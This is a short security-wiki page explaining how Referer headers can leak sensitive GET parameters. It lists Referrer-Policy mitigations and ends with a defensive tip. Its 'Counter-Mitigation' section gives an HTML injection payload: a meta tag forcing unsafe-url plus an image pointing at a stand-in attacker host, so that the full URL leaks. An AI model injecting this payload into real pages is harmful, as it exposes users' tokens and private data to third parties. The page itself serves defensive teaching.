# Referrer headers and policy
|
|
|
|
Referrer is the header used by browsers to indicate which was the previous page visited.
|
|
|
|
## Sensitive information leaked
|
|
|
|
If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request.
|
|
|
|
## Mitigation
|
|
|
|
You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications:
|
|
|
|
```
|
|
Referrer-Policy: no-referrer
|
|
Referrer-Policy: no-referrer-when-downgrade
|
|
Referrer-Policy: origin
|
|
Referrer-Policy: origin-when-cross-origin
|
|
Referrer-Policy: same-origin
|
|
Referrer-Policy: strict-origin
|
|
Referrer-Policy: strict-origin-when-cross-origin
|
|
Referrer-Policy: unsafe-url
|
|
```
|
|
|
|
## Counter-Mitigation
|
|
|
|
You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection):
|
|
|
|
```markup
|
|
<meta name="referrer" content="unsafe-url">
|
|
<img src="https://attacker.com">
|
|
```
|
|
|
|
## Defense
|
|
|
|
Never put any sensitive data inside GET parameters or paths in the URL.
